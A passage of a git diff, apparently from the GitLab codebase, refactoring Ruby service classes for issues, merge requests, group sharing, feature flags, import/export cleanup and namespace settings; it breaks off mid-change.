diff --git a/app/services/design_management/design_service.rb b/app/services/design_management/design_service.rb
index 5aa2a2f73bc..f337a9dc8e0 100644
--- a/app/services/design_management/design_service.rb
+++ b/app/services/design_management/design_service.rb
@@ -13,7 +13,7 @@ module DesignManagement
attr_reader :issue
def target_branch
- repository.root_ref || "master"
+ repository.root_ref || Gitlab::DefaultBranch.value(object: project)
end
def collection
diff --git a/app/services/discussions/resolve_service.rb b/app/services/discussions/resolve_service.rb
index 3b733023eae..baf14aa8a03 100644
--- a/app/services/discussions/resolve_service.rb
+++ b/app/services/discussions/resolve_service.rb
@@ -47,9 +47,16 @@ module Discussions
MergeRequests::ResolvedDiscussionNotificationService.new(project: project, current_user: current_user).execute(merge_request)
end
+ resolve_user_todos_for(discussion)
SystemNoteService.discussion_continued_in_issue(discussion, project, current_user, follow_up_issue) if follow_up_issue
end
+ def resolve_user_todos_for(discussion)
+ return unless discussion.for_design?
+
+ TodoService.new.resolve_todos_for_target(discussion, current_user)
+ end
+
def first_discussion
@first_discussion ||= discussions.first
end
diff --git a/app/services/feature_flags/disable_service.rb b/app/services/feature_flags/disable_service.rb
deleted file mode 100644
index 8a443ac1795..00000000000
--- a/app/services/feature_flags/disable_service.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-# frozen_string_literal: true
-
-module FeatureFlags
- class DisableService < BaseService
- def execute
- return error('Feature Flag not found', 404) unless feature_flag_by_name
- return error('Feature Flag Scope not found', 404) unless feature_flag_scope_by_environment_scope
- return error('Strategy not found', 404) unless strategy_exist_in_persisted_data?
-
- ::FeatureFlags::UpdateService
- .new(project, current_user, update_params)
- .execute(feature_flag_by_name)
- end
-
- private
-
- def update_params
- if remaining_strategies.empty?
- params_to_destroy_scope
- else
- params_to_update_scope
- end
- end
-
- def remaining_strategies
- strong_memoize(:remaining_strategies) do
- feature_flag_scope_by_environment_scope.strategies.reject do |strategy|
- strategy['name'] == params[:strategy]['name'] &&
- strategy['parameters'] == params[:strategy]['parameters']
- end
- end
- end
-
- def strategy_exist_in_persisted_data?
- feature_flag_scope_by_environment_scope.strategies != remaining_strategies
- end
-
- def params_to_destroy_scope
- { scopes_attributes: [{ id: feature_flag_scope_by_environment_scope.id, _destroy: true }] }
- end
-
- def params_to_update_scope
- { scopes_attributes: [{ id: feature_flag_scope_by_environment_scope.id, strategies: remaining_strategies }] }
- end
- end
-end
diff --git a/app/services/feature_flags/enable_service.rb b/app/services/feature_flags/enable_service.rb
deleted file mode 100644
index b4cbb32e003..00000000000
--- a/app/services/feature_flags/enable_service.rb
+++ /dev/null
@@ -1,93 +0,0 @@
-# frozen_string_literal: true
-
-module FeatureFlags
- class EnableService < BaseService
- def execute
- if feature_flag_by_name
- update_feature_flag
- else
- create_feature_flag
- end
- end
-
- private
-
- def create_feature_flag
- ::FeatureFlags::CreateService
- .new(project, current_user, create_params)
- .execute
- end
-
- def update_feature_flag
- ::FeatureFlags::UpdateService
- .new(project, current_user, update_params)
- .execute(feature_flag_by_name)
- end
-
- def create_params
- if params[:environment_scope] == '*'
- params_to_create_flag_with_default_scope
- else
- params_to_create_flag_with_additional_scope
- end
- end
-
- def update_params
- if feature_flag_scope_by_environment_scope
- params_to_update_scope
- else
- params_to_create_scope
- end
- end
-
- def params_to_create_flag_with_default_scope
- {
- name: params[:name],
- scopes_attributes: [
- {
- active: true,
- environment_scope: '*',
- strategies: [params[:strategy]]
- }
- ]
- }
- end
-
- def params_to_create_flag_with_additional_scope
- {
- name: params[:name],
- scopes_attributes: [
- {
- active: false,
- environment_scope: '*'
- },
- {
- active: true,
- environment_scope: params[:environment_scope],
- strategies: [params[:strategy]]
- }
- ]
- }
- end
-
- def params_to_create_scope
- {
- scopes_attributes: [{
- active: true,
- environment_scope: params[:environment_scope],
- strategies: [params[:strategy]]
- }]
- }
- end
-
- def params_to_update_scope
- {
- scopes_attributes: [{
- id: feature_flag_scope_by_environment_scope.id,
- active: true,
- strategies: feature_flag_scope_by_environment_scope.strategies | [params[:strategy]]
- }]
- }
- end
- end
-end
diff --git a/app/services/groups/create_service.rb b/app/services/groups/create_service.rb
index 8e8efe7d555..f900927793a 100644
--- a/app/services/groups/create_service.rb
+++ b/app/services/groups/create_service.rb
@@ -28,7 +28,7 @@ module Groups
@group.name ||= @group.path.dup
if create_chat_team?
- response = Mattermost::CreateTeamService.new(@group, current_user).execute
+ response = ::Mattermost::CreateTeamService.new(@group, current_user).execute
return @group if @group.errors.any?
@group.build_chat_team(name: response['name'], team_id: response['id'])
diff --git a/app/services/groups/group_links/create_service.rb b/app/services/groups/group_links/create_service.rb
index 0a60140d037..5f81e5972b0 100644
--- a/app/services/groups/group_links/create_service.rb
+++ b/app/services/groups/group_links/create_service.rb
@@ -3,27 +3,51 @@
module Groups
module GroupLinks
class CreateService < Groups::BaseService
- def execute(shared_group)
- unless group && shared_group &&
+ def initialize(shared_group, shared_with_group, user, params)
+ @shared_group = shared_group
+ super(shared_with_group, user, params)
+ end
+
+ def execute
+ unless shared_with_group && shared_group &&
can?(current_user, :admin_group_member, shared_group) &&
- can?(current_user, :read_group, group)
+ can?(current_user, :read_group, shared_with_group) &&
+ sharing_allowed?
return error('Not Found', 404)
end
link = GroupGroupLink.new(
shared_group: shared_group,
- shared_with_group: group,
+ shared_with_group: shared_with_group,
group_access: params[:shared_group_access],
expires_at: params[:expires_at]
)
if link.save
- group.refresh_members_authorized_projects(direct_members_only: true)
+ shared_with_group.refresh_members_authorized_projects(direct_members_only: true)
success(link: link)
else
error(link.errors.full_messages.to_sentence, 409)
end
end
+
+ private
+
+ attr_reader :shared_group
+
+ alias_method :shared_with_group, :group
+
+ def sharing_allowed?
+ sharing_outside_hierarchy_allowed? || within_hierarchy?
+ end
+
+ def sharing_outside_hierarchy_allowed?
+ !shared_group.root_ancestor.namespace_settings.prevent_sharing_groups_outside_hierarchy
+ end
+
+ def within_hierarchy?
+ shared_group.root_ancestor.self_and_descendants_ids.include?(shared_with_group.id)
+ end
end
end
end
diff --git a/app/services/groups/participants_service.rb b/app/services/groups/participants_service.rb
index 0844c98dd6a..1de2b3c5a2e 100644
--- a/app/services/groups/participants_service.rb
+++ b/app/services/groups/participants_service.rb
@@ -23,9 +23,9 @@ module Groups
end
def group_members
- return [] unless noteable
+ return [] unless group
- @group_members ||= sorted(noteable.group.direct_and_indirect_users)
+ @group_members ||= sorted(group.direct_and_indirect_users)
end
end
end
diff --git a/app/services/groups/transfer_service.rb b/app/services/groups/transfer_service.rb
index 56ff1310def..518d061c654 100644
--- a/app/services/groups/transfer_service.rb
+++ b/app/services/groups/transfer_service.rb
@@ -108,10 +108,13 @@ module Groups
@group.parent = @new_parent_group
@group.clear_memoization(:self_and_ancestors_ids)
+ @group.clear_memoization(:root_ancestor) if different_root_ancestor?
inherit_group_shared_runners_settings
@group.save!
+ # #reload is called to make sure traversal_ids are reloaded
+ @group.reload # rubocop:disable Cop/ActiveRecordAssociationReload
end
# rubocop: disable CodeReuse/ActiveRecord
diff --git a/app/services/import_export_clean_up_service.rb b/app/services/import_export_clean_up_service.rb
index 66ac7dac4ca..567ac065cf7 100644
--- a/app/services/import_export_clean_up_service.rb
+++ b/app/services/import_export_clean_up_service.rb
@@ -2,6 +2,7 @@
class ImportExportCleanUpService
LAST_MODIFIED_TIME_IN_MINUTES = 1440
+ DIR_DEPTH = 5
attr_reader :mmin, :path
@@ -27,15 +28,42 @@ class ImportExportCleanUpService
end
def clean_up_export_files
- Gitlab::Popen.popen(%W(find #{path} -not -path #{path} -mmin +#{mmin} -delete))
+ old_directories do |dir|
+ FileUtils.remove_entry(dir)
+
+ logger.info(
+ message: 'Removed Import/Export tmp directory',
+ dir_path: dir
+ )
+ end
end
- # rubocop: disable CodeReuse/ActiveRecord
def clean_up_export_object_files
- ImportExportUpload.where('updated_at < ?', mmin.minutes.ago).each do |upload|
+ ImportExportUpload.with_export_file.updated_before(mmin.minutes.ago).each do |upload|
upload.remove_export_file!
upload.save!
+
+ logger.info(
+ message: 'Removed Import/Export export_file',
+ project_id: upload.project_id,
+ group_id: upload.group_id
+ )
+ end
+ end
+
+ def old_directories
+ IO.popen(directories_cmd) do |find|
+ find.each_line(chomp: true) do |directory|
+ yield directory
+ end
end
end
- # rubocop: enable CodeReuse/ActiveRecord
+
+ def directories_cmd
+ %W(find #{path} -mindepth #{DIR_DEPTH} -maxdepth #{DIR_DEPTH} -type d -not -path #{path} -mmin +#{mmin})
+ end
+
+ def logger
+ @logger ||= Gitlab::Import::Logger.build
+ end
end
diff --git a/app/services/issuable_base_service.rb b/app/services/issuable_base_service.rb
index 099e0d81bc9..02c1f078a40 100644
--- a/app/services/issuable_base_service.rb
+++ b/app/services/issuable_base_service.rb
@@ -27,8 +27,14 @@ class IssuableBaseService < ::BaseProjectService
can?(current_user, ability_name, issuable)
end
+ def can_set_issuable_metadata?(issuable)
+ ability_name = :"set_#{issuable.to_ability_name}_metadata"
+
+ can?(current_user, ability_name, issuable)
+ end
+
def filter_params(issuable)
- unless can_admin_issuable?(issuable)
+ unless can_set_issuable_metadata?(issuable)
params.delete(:milestone)
params.delete(:milestone_id)
params.delete(:labels)
@@ -45,6 +51,7 @@ class IssuableBaseService < ::BaseProjectService
params.delete(:canonical_issue_id)
params.delete(:project)
params.delete(:discussion_locked)
+ params.delete(:confidential)
end
filter_assignees(issuable)
@@ -184,7 +191,7 @@ class IssuableBaseService < ::BaseProjectService
params[:assignee_ids] = process_assignee_ids(params, extra_assignee_ids: issuable.assignee_ids.to_a)
end
- issuable.assign_attributes(params)
+ issuable.assign_attributes(allowed_create_params(params))
before_create(issuable)
@@ -194,6 +201,7 @@ class IssuableBaseService < ::BaseProjectService
if issuable_saved
create_system_notes(issuable, is_update: false) unless skip_system_notes
+ handle_changes(issuable, { params: params })
after_create(issuable)
execute_hooks(issuable)
@@ -233,7 +241,7 @@ class IssuableBaseService < ::BaseProjectService
assign_requested_assignees(issuable)
if issuable.changed? || params.present?
- issuable.assign_attributes(params)
+ issuable.assign_attributes(allowed_update_params(params))
if has_title_or_description_changed?(issuable)
issuable.assign_attributes(last_edited_at: Time.current, last_edited_by: current_user)
@@ -260,7 +268,7 @@ class IssuableBaseService < ::BaseProjectService
issuable, old_labels: old_associations[:labels], old_milestone: old_associations[:milestone]
)
- handle_changes(issuable, old_associations: old_associations)
+ handle_changes(issuable, old_associations: old_associations, params: params)
new_assignees = issuable.assignees.to_a
affected_assignees = (old_associations[:assignees] + new_assignees) - (old_associations[:assignees] & new_assignees)
@@ -432,6 +440,7 @@ class IssuableBaseService < ::BaseProjectService
milestone: issuable.try(:milestone)
}
associations[:total_time_spent] = issuable.total_time_spent if issuable.respond_to?(:total_time_spent)
+ associations[:time_change] = issuable.time_change if issuable.respond_to?(:time_change)
associations[:description] = issuable.description
associations[:reviewers] = issuable.reviewers.to_a if issuable.allows_reviewers?
@@ -505,6 +514,14 @@ class IssuableBaseService < ::BaseProjectService
def update_timestamp?(issuable)
issuable.changes.keys != ["relative_position"]
end
+
+ def allowed_create_params(params)
+ params
+ end
+
+ def allowed_update_params(params)
+ params
+ end
end
IssuableBaseService.prepend_mod_with('IssuableBaseService')
diff --git a/app/services/issue_rebalancing_service.rb b/app/services/issue_rebalancing_service.rb
index 6a8d45b92b2..142d287370f 100644
--- a/app/services/issue_rebalancing_service.rb
+++ b/app/services/issue_rebalancing_service.rb
@@ -15,14 +15,13 @@ class IssueRebalancingService
[5.seconds, 1.second]
].freeze
- def initialize(issue)
- @issue = issue
- @base = Issue.relative_positioning_query_base(issue)
+ def initialize(projects_collection)
+ @root_namespace = projects_collection.take.root_namespace # rubocop:disable CodeReuse/ActiveRecord
+ @base = Issue.in_projects(projects_collection)
end
def execute
- gates = [issue.project, issue.project.group].compact
- return unless gates.any? { |gate| Feature.enabled?(:rebalance_issues, gate) }
+ return unless Feature.enabled?(:rebalance_issues, root_namespace)
raise TooManyIssues, "#{issue_count} issues" if issue_count > MAX_ISSUE_COUNT
@@ -57,7 +56,7 @@ class IssueRebalancingService
private
- attr_reader :issue, :base
+ attr_reader :root_namespace, :base
# rubocop: disable CodeReuse/ActiveRecord
def indexed_ids
diff --git a/app/services/issues/base_service.rb b/app/services/issues/base_service.rb
index 72e906e20f1..1c50bb74176 100644
--- a/app/services/issues/base_service.rb
+++ b/app/services/issues/base_service.rb
@@ -29,7 +29,7 @@ module Issues
gates = [issue.project, issue.project.group].compact
return unless gates.any? { |gate| Feature.enabled?(:rebalance_issues, gate) }
- IssueRebalancingWorker.perform_async(nil, issue.project_id)
+ IssueRebalancingWorker.perform_async(nil, *issue.project.self_or_root_group_ids)
end
private
@@ -38,6 +38,7 @@ module Issues
super
params.delete(:issue_type) unless issue_type_allowed?(issue)
+ filter_incident_label(issue) if params[:issue_type]
moved_issue = params.delete(:moved_issue)
@@ -82,6 +83,37 @@ module Issues
def issue_type_allowed?(object)
can?(current_user, :"create_#{params[:issue_type]}", object)
end
+
+ # @param issue [Issue]
+ def filter_incident_label(issue)
+ return unless add_incident_label?(issue) || remove_incident_label?(issue)
+
+ label = ::IncidentManagement::CreateIncidentLabelService
+ .new(project, current_user)
+ .execute
+ .payload[:label]
+
+ # These(add_label_ids, remove_label_ids) are being added ahead of time
+ # to be consumed by #process_label_ids, this allows system notes
+ # to be applied correctly alongside the label updates.
+ if add_incident_label?(issue)
+ params[:add_label_ids] ||= []
+ params[:add_label_ids] << label.id
+ else
+ params[:remove_label_ids] ||= []
+ params[:remove_label_ids] << label.id
+ end
+ end
+
+ # @param issue [Issue]
+ def add_incident_label?(issue)
+ issue.incident?
+ end
+
+ # @param _issue [Issue, nil]
+ def remove_incident_label?(_issue)
+ false
+ end
end
end
diff --git a/app/services/issues/close_service.rb b/app/services/issues/close_service.rb
index 1700d1d8586..cc4ad1a9c85 100644
--- a/app/services/issues/close_service.rb
+++ b/app/services/issues/close_service.rb
@@ -25,7 +25,6 @@ module Issues
end
if project.issues_enabled? && issue.close(current_user)
- remove_on_close_labels_from(issue)
event_service.close_issue(issue, current_user)
create_note(issue, closed_via) if system_note
@@ -52,18 +51,6 @@ module Issues
private
- def remove_on_close_labels_from(issue)
- old_labels = issue.labels.to_a
-
- issue.label_links.with_remove_on_close_labels.delete_all
- issue.labels.reset
-
- Issuable::CommonSystemNotesService.new(project: project, current_user: current_user).execute(
- issue,
- old_labels: old_labels
- )
- end
-
def close_external_issue(issue, closed_via)
return unless project.external_issue_tracker&.support_close_issue?
diff --git a/app/services/issues/create_service.rb b/app/services/issues/create_service.rb
index 1f4efeb1a8a..53f3dc39ba3 100644
--- a/app/services/issues/create_service.rb
+++ b/app/services/issues/create_service.rb
@@ -34,13 +34,26 @@ module Issues
# Add new items to Issues::AfterCreateService if they can be performed in Sidekiq
def after_create(issue)
- add_incident_label(issue)
user_agent_detail_service.create
resolve_discussions_with_issue(issue)
super
end
+ def handle_changes(issue, options)
+ super
+ old_associations = options.fetch(:old_associations, {})
+ old_assignees = old_associations.fetch(:assignees, [])
+
+ handle_assignee_changes(issue, old_assignees)
+ end
+
+ def handle_assignee_changes(issue, old_assignees)
+ return if issue.assignees == old_assignees
+
+ create_assignee_note(issue, old_assignees)
+ end
+
def resolve_discussions_with_issue(issue)
return if discussions_to_resolve.empty?
@@ -56,22 +69,6 @@ module Issues
def user_agent_detail_service
UserAgentDetailService.new(@issue, request)
end
-
- # Applies label "incident" (creates it if missing) to incident issues.
- # For use in "after" hooks only to ensure we are not appyling
- # labels prematurely.
- def add_incident_label(issue)
- return unless issue.incident?
-
- label = ::IncidentManagement::CreateIncidentLabelService
- .new(project, current_user)
- .execute
- .payload[:label]
-
- return if issue.label_ids.include?(label.id)
-
- issue.labels << label
- end
end
end
diff --git a/app/services/issues/update_service.rb b/app/services/issues/update_service.rb
index af5029f8364..cf2892bf413 100644
--- a/app/services/issues/update_service.rb
+++ b/app/services/issues/update_service.rb
@@ -20,17 +20,6 @@ module Issues
super
end
- override :filter_params
- def filter_params(issue)
- super
-
- # filter confidential in `Issues::UpdateService` and not in `IssuableBaseService#filter_params`
- # because we do allow users that cannot admin issues to set confidential flag when creating an issue
- unless can_admin_issuable?(issue)
- params.delete(:confidential)
- end
- end
-
def before_update(issue, skip_spam_check: false)
return if skip_spam_check
@@ -43,6 +32,7 @@ module Issues
end
def handle_changes(issue, options)
+ super
old_associations = options.fetch(:old_associations, {})
old_labels = old_associations.fetch(:labels, [])
old_mentioned_users = old_associations.fetch(:mentioned_users, [])
@@ -204,6 +194,16 @@ module Issues
def create_confidentiality_note(issue)
SystemNoteService.change_issue_confidentiality(issue, issue.project, current_user)
end
+
+ override :add_incident_label?
+ def add_incident_label?(issue)
+ issue.issue_type != params[:issue_type] && !issue.incident?
+ end
+
+ override :remove_incident_label?
+ def remove_incident_label?(issue)
+ issue.issue_type != params[:issue_type] && issue.incident?
+ end
end
end
diff --git a/app/services/issues/zoom_link_service.rb b/app/services/issues/zoom_link_service.rb
index ef48134dec4..1ce459aa7e6 100644
--- a/app/services/issues/zoom_link_service.rb
+++ b/app/services/issues/zoom_link_service.rb
@@ -47,11 +47,11 @@ module Issues
attr_reader :issue
def track_meeting_added_event
- ::Gitlab::Tracking.event('IncidentManagement::ZoomIntegration', 'add_zoom_meeting', label: 'Issue ID', value: issue.id)
+ ::Gitlab::Tracking.event('IncidentManagement::ZoomIntegration', 'add_zoom_meeting', label: 'Issue ID', value: issue.id, user: current_user, project: @project, namespace: @project.namespace)
end
def track_meeting_removed_event
- ::Gitlab::Tracking.event('IncidentManagement::ZoomIntegration', 'remove_zoom_meeting', label: 'Issue ID', value: issue.id)
+ ::Gitlab::Tracking.event('IncidentManagement::ZoomIntegration', 'remove_zoom_meeting', label: 'Issue ID', value: issue.id, user: current_user, project: @project, namespace: @project.namespace)
end
def add_zoom_meeting(link)
diff --git a/app/services/jira_import/users_importer.rb b/app/services/jira_import/users_importer.rb
index 3de165c1014..5b2f91efc38 100644
--- a/app/services/jira_import/users_importer.rb
+++ b/app/services/jira_import/users_importer.rb
@@ -31,21 +31,10 @@ module JiraImport
@users_mapper_service ||= user_mapper_service_factory
end
- def deployment_type
- # TODO: use project.jira_service.deployment_type value when https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37003 is merged
- @deployment_type ||= client.ServerInfo.all.deploymentType
- end
-
- def client
- @client ||= project.jira_service.client
- end
-
def user_mapper_service_factory
- # TODO: use deployment_type enum from jira service when https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37003 is merged
- case deployment_type.upcase
- when JiraService::DEPLOYMENT_TYPES[:server]
+ if project.jira_service.data_fields.deployment_server?
ServerUsersMapperService.new(user, project, start_at)
- when JiraService::DEPLOYMENT_TYPES[:cloud]
+ elsif project.jira_service.data_fields.deployment_cloud?
CloudUsersMapperService.new(user, project, start_at)
else
raise ArgumentError
diff --git a/app/services/mattermost/create_team_service.rb b/app/services/mattermost/create_team_service.rb
index 2cbcaaad5e1..9f6efab1e43 100644
--- a/app/services/mattermost/create_team_service.rb
+++ b/app/services/mattermost/create_team_service.rb
@@ -9,8 +9,8 @@ module Mattermost
def execute
# The user that creates the team will be Team Admin
- Mattermost::Team.new(current_user).create(@group.mattermost_team_params)
- rescue Mattermost::ClientError => e
+ ::Mattermost::Team.new(current_user).create(@group.mattermost_team_params)
+ rescue ::Mattermost::ClientError => e
@group.errors.add(:mattermost_team, e.message)
end
end
diff --git a/app/services/members/create_service.rb b/app/services/members/create_service.rb
index 7b81cc27635..5d3c4a5c54a 100644
--- a/app/services/members/create_service.rb
+++ b/app/services/members/create_service.rb
@@ -16,6 +16,7 @@ module Members
end
def execute
+ validate_invite_source!
validate_invites!
add_members
@@ -33,6 +34,10 @@ module Members
params[:user_ids]
end
+ def validate_invite_source!
+ raise ArgumentError, s_('AddMember|No invite source provided.') unless invite_source.present?
+ end
+
def validate_invites!
raise BlankInvitesError, blank_invites_message if invites.blank?
@@ -72,6 +77,23 @@ module Members
errors << "#{prefix}#{member.errors.full_messages.to_sentence}"
end
+ def after_execute(member:)
+ super
+
+ Gitlab::Tracking.event(self.class.name, 'create_member', label: invite_source, property: tracking_property(member), user: current_user)
+ end
+
+ def invite_source
+ params[:invite_source]
+ end
+
+ def tracking_property(member)
+ # ideally invites go down the invite service class instead, but there is nothing that limits an invite
+ # from being used in this class and if you send emails as a comma separated list to the api/members
+ # endpoint, it will support invites
+ member.invite? ? 'net_new_user' : 'existing_user'
+ end
+
def user_limit
limit = params.fetch(:limit, DEFAULT_INVITE_LIMIT)
diff --git a/app/services/merge_requests/base_service.rb b/app/services/merge_requests/base_service.rb
index e94274aff9d..7ebdbf94932 100644
--- a/app/services/merge_requests/base_service.rb
+++ b/app/services/merge_requests/base_service.rb
@@ -24,9 +24,42 @@ module MergeRequests
merge_request.project.execute_hooks(merge_data, :merge_request_hooks)
merge_request.project.execute_services(merge_data, :merge_request_hooks)
+ execute_external_hooks(merge_request, merge_data)
+
enqueue_jira_connect_messages_for(merge_request)
end
+ def execute_external_hooks(merge_request, merge_data)
+ # Implemented in EE
+ end
+
+ def handle_changes(merge_request, options)
+ old_associations = options.fetch(:old_associations, {})
+ old_assignees = old_associations.fetch(:assignees, [])
+ old_reviewers = old_associations.fetch(:reviewers, [])
+
+ handle_assignees_change(merge_request, old_assignees) if merge_request.assignees != old_assignees
+ handle_reviewers_change(merge_request, old_reviewers) if merge_request.reviewers != old_reviewers
+ end
+
+ def handle_assignees_change(merge_request, old_assignees)
+ MergeRequests::HandleAssigneesChangeService
+ .new(project: project, current_user: current_user)
+ .async_execute(merge_request, old_assignees)
+ end
+
+ def handle_reviewers_change(merge_request, old_reviewers)
+ affected_reviewers = (old_reviewers + merge_request.reviewers) - (old_reviewers & merge_request.reviewers)
+ create_reviewer_note(merge_request, old_reviewers)
+ notification_service.async.changed_reviewer_of_merge_request(merge_request, current_user, old_reviewers)
+ todo_service.reassigned_reviewable(merge_request, current_user, old_reviewers)
+ invalidate_cache_counts(merge_request, users: affected_reviewers.compact)
+
+ new_reviewers = merge_request.reviewers - old_reviewers
+ merge_request_activity_counter.track_users_review_requested(users: new_reviewers)
+ merge_request_activity_counter.track_reviewers_changed_action(user: current_user)
+ end
+
def cleanup_environments(merge_request)
Ci::StopEnvironmentsService.new(merge_request.source_project, current_user)
.execute_for_merge_request(merge_request)
diff --git a/app/services/merge_requests/handle_assignees_change_service.rb b/app/services/merge_requests/handle_assignees_change_service.rb
index 9ac386110f7..87cd6544406 100644
--- a/app/services/merge_requests/handle_assignees_change_service.rb
+++ b/app/services/merge_requests/handle_assignees_change_service.rb
@@ -8,7 +8,7 @@ module MergeRequests
merge_request.id,
current_user.id,
old_assignees.map(&:id),
- options
+ options.stringify_keys # see: https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1090
)
end
diff --git a/app/services/merge_requests/refresh_service.rb b/app/services/merge_requests/refresh_service.rb
index d5e2595a9c6..3a4e3ba38fd 100644
--- a/app/services/merge_requests/refresh_service.rb
+++ b/app/services/merge_requests/refresh_service.rb
@@ -27,7 +27,6 @@ module MergeRequests
merge_requests_for_source_branch.each do |mr|
outdate_suggestions(mr)
- refresh_pipelines_on_merge_requests(mr)
abort_auto_merges(mr)
mark_pending_todos_done(mr)
end
@@ -44,6 +43,8 @@ module MergeRequests
notify_about_push(mr)
mark_mr_as_draft_from_commits(mr)
execute_mr_web_hooks(mr)
+ # Run at the end of the loop to avoid any potential contention on the MR object
+ refresh_pipelines_on_merge_requests(mr)
merge_request_activity_counter.track_mr_including_ci_config(user: mr.author, merge_request: mr)
end
diff --git a/app/services/merge_requests/update_assignees_service.rb b/app/services/merge_requests/update_assignees_service.rb
index f99db35fd49..d52c1bbbcda 100644
--- a/app/services/merge_requests/update_assignees_service.rb
+++ b/app/services/merge_requests/update_assignees_service.rb
@@ -9,9 +9,11 @@ module MergeRequests
def execute(merge_request)
return merge_request unless current_user&.can?(:update_merge_request, merge_request)
- old_assignees = merge_request.assignees
+ old_assignees = merge_request.assignees.to_a
old_ids = old_assignees.map(&:id)
new_ids = new_assignee_ids(merge_request)
+
+ return merge_request if merge_request.errors.any?
return merge_request if new_ids.size != update_attrs[:assignee_ids].size
return merge_request if old_ids.to_set == new_ids.to_set # no-change
@@ -30,8 +32,11 @@ module MergeRequests
def new_assignee_ids(merge_request)
# prime the cache - prevent N+1 lookup during authorization loop.
- merge_request.project.team.max_member_access_for_user_ids(update_attrs[:assignee_ids])
- User.id_in(update_attrs[:assignee_ids]).map do |user|
+ user_ids = update_attrs[:assignee_ids]
+ return [] if user_ids.empty?
+
+ merge_request.project.team.max_member_access_for_user_ids(user_ids)
+ User.id_in(user_ids).map do |user|
if user.can?(:read_merge_request, merge_request)
user.id
else
diff --git a/app/services/merge_requests/update_service.rb b/app/services/merge_requests/update_service.rb
index b613d88aee4..af041de5596 100644
--- a/app/services/merge_requests/update_service.rb
+++ b/app/services/merge_requests/update_service.rb
@@ -15,6 +15,7 @@ module MergeRequests
end
def handle_changes(merge_request, options)
+ super
old_associations = options.fetch(:old_associations, {})
old_labels = old_associations.fetch(:labels, [])
old_mentioned_users = old_associations.fetch(:mentioned_users, [])
@@ -31,8 +32,6 @@ module MergeRequests
end
handle_target_branch_change(merge_request)
- handle_assignees_change(merge_request, old_assignees) if merge_request.assignees != old_assignees
- handle_reviewers_change(merge_request, old_reviewers) if merge_request.reviewers != old_reviewers
handle_milestone_change(merge_request)
handle_draft_status_change(merge_request, changed_fields)
@@ -50,7 +49,7 @@ module MergeRequests
#
if merge_request.previous_changes.include?('target_branch') ||
merge_request.previous_changes.include?('source_branch')
- merge_request.mark_as_unchecked
+ merge_request.mark_as_unchecked unless merge_request.unchecked?
end
end
@@ -220,24 +219,6 @@ module MergeRequests
end
end
- def handle_assignees_change(merge_request, old_assignees)
- MergeRequests::HandleAssigneesChangeService
- .new(project: project, current_user: current_user)
- .async_execute(merge_request, old_assignees)
- end
-
- def handle_reviewers_change(merge_request, old_reviewers)
- affected_reviewers = (old_reviewers + merge_request.reviewers) - (old_reviewers & merge_request.reviewers)
- create_reviewer_note(merge_request, old_reviewers)
- notification_service.async.changed_reviewer_of_merge_request(merge_request, current_user, old_reviewers)
- todo_service.reassigned_reviewable(merge_request, current_user, old_reviewers)
- invalidate_cache_counts(merge_request, users: affected_reviewers.compact)
-
- new_reviewers = merge_request.reviewers - old_reviewers
- merge_request_activity_counter.track_users_review_requested(users: new_reviewers)
- merge_request_activity_counter.track_reviewers_changed_action(user: current_user)
- end
-
def create_branch_change_note(issuable, branch_type, event_type, old_branch, new_branch)
SystemNoteService.change_branch(
issuable, issuable.project, current_user, branch_type, event_type,
@@ -293,7 +274,7 @@ module MergeRequests
def attempt_specialized_update_services(merge_request, attribute)
case attribute
- when :assignee_ids
+ when :assignee_ids, :assignee_id
assignees_service.execute(merge_request)
when :spend_time
add_time_spent_service.execute(merge_request)
diff --git a/app/services/namespace_settings/update_service.rb b/app/services/namespace_settings/update_service.rb
index de54eb87cc0..80f15f7cc22 100644
--- a/app/services/namespace_settings/update_service.rb
+++ b/app/services/namespace_settings/update_service.rb
@@ -14,6 +14,7 @@ module NamespaceSettings
def execute
validate_resource_access_token_creation_allowed_param
+ validate_prevent_sharing_groups_outside_hierarchy_param
if group.namespace_settings
group.namespace_settings.attributes = settings_params
@@ -32,6 +33,15 @@ module NamespaceSettings
group.namespace_settings.errors.add(:resource_access_token_creation_allowed, _('can only be changed by a group admin.'))
end
end
+
+ def validate_prevent_sharing_groups_outside_hierarchy_param
+ return if settings_params[:prevent_sharing_groups_outside_hierarchy].nil?
+
+ unless can?(current_user, :change_prevent_sharing_groups_outside_hierarchy, group)
+ settings_params.delete(:prevent_sharing_groups_outside_hierarchy)
+ group.namespace_settings.errors.add(:prevent_sharing_groups_outside_hierarchy, _('can only be changed by a group admin.'))
+ end
+ end
end
end
diff --git a/app/services/namespaces/in_product_marketing_emails_service.rb b/app/services/namespaces/in_product_marketing_emails_service.rb
index 61d5ed3bdf4..3461362b48c 100644
--- a/app/services/namespaces/in_product_marketing_emails_service.rb
+++ b/app/services/namespaces/in_product_marketing_emails_service.rb
@@ -4,17 +4,37 @@ module Namespaces
class InProductMarketingEmailsService
include Gitlab::Experimentation::GroupTypes
- INTERVAL_DAYS = [1, 5, 10].freeze
TRACKS = {
- create: :git_write,
- verify: :pipeline_created,
- trial: :trial_started,
- team: :user_added
+ create: {
+ interval_days: [1, 5, 10],
+ completed_actions: [:created],
+ incomplete_actions: [:git_write]
+ },
+ verify: {
+ interval_days: [1, 5, 10],
+ completed_actions: [:git_write],
+ incomplete_actions: [:pipeline_created]
+ },
+ trial: {
+ interval_days: [1, 5, 10],
+ completed_actions: [:git_write, :pipeline_created],
+ incomplete_actions: [:trial_started]
+ },
+ team: {
+ interval_days: [1, 5, 10],
+ completed_actions: [:git_write, :pipeline_created, :trial_started],
+ incomplete_actions: [:user_added]
+ },
+ experience: {
+ interval_days: [30],
+ completed_actions: [:created, :git_write],
+ incomplete_actions: []
+ }
}.freeze
def self.send_for_all_tracks_and_intervals
TRACKS.each_key do |track|
- INTERVAL_DAYS.each do |interval|
+ TRACKS[track][:interval_days].each do |interval|
new(track, interval).execute
end
end
@@ -69,7 +89,7 @@ module Namespaces
def groups_for_track
onboarding_progress_scope = OnboardingProgress
.completed_actions_with_latest_in_range(completed_actions, range)
- .incomplete_actions(incomplete_action)
+ .incomplete_actions(incomplete_actions)
# Filtering out sub-groups is a temporary fix to prevent calling
# `.root_ancestor` on groups that are not root groups.
@@ -103,6 +123,8 @@ module Namespaces
user.can?(:start_trial, group)
when :team
user.can?(:admin_group_member, group)
+ when :experience
+ true
end
end
@@ -111,8 +133,7 @@ module Namespaces
end
def completed_actions
- index = TRACKS.keys.index(track)
